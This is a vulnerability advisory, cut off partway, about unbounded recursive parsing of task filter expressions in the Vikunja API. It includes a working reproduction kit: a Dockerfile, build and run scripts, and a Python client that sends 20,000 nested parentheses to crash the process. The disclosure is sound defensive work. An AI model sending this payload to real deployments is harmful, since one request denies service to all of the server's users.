Unbounded nested task-filter recursion permits API process termination

Summary

Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.

Impact and affected scope

• Type: Resource Exhaustion Recursive Parser
• Affected component: GET /api/v2/projects/{project}/tasks?filter=; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
• Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
• Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026
• Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A single low-privileged network request can terminate the API process and deny service to all users.

Technical details

The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.

Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.

Relevant code:

• pkg/models/task_collection_filter.go:240
• pkg/models/task_collection_filter.go:268
• pkg/models/task_collection_filter.go:274
• pkg/models/task_collection_filter.go:276
• pkg/models/task_collection_filter.go:295

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true

# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request


BASE = "http://target:3456"


def request(method, path, body=None, token=None, expected=None, timeout=30):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def filter_path(project_id, depth):
    expression = "(" * depth + "id = 1" + ")" * depth
    path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
    print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
    return path


def main():
    wait_ready()
    username, password = "PoC-filter-user", "PoC-password-123!"
    request("POST", "/api/v2/register", {
        "username": username,
        "email": username + "@example.invalid",
        "password": password,
    }, expected=201)
    _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
    token = login["token"]
    _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)

    started = time.monotonic()
    request("GET", filter_path(project["id"], 1000), token=token, expected=200)
    print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)

    try:
        status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
        raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
        print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
    print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
        raise

Create reproduction/prepare.sh:

#!/usr/bin/env bash
set -euo pipefail

mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo
CGO_ENABLED=1 go build \
  -tags osusergo \
  -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
  -o /output/vikunja .
chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then
  go build -o /output/probe /app/probe.go
  chmod 0755 /output/probe
fi

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$"

cleanup() {
  docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
  docker network rm "${NETWORK}" >/dev/null 2>&1 || true
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
  --network "${NETWORK}" --network-alias target \
  --memory 512m --memory-swap 512m --pids-limit 256 \
  -v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLE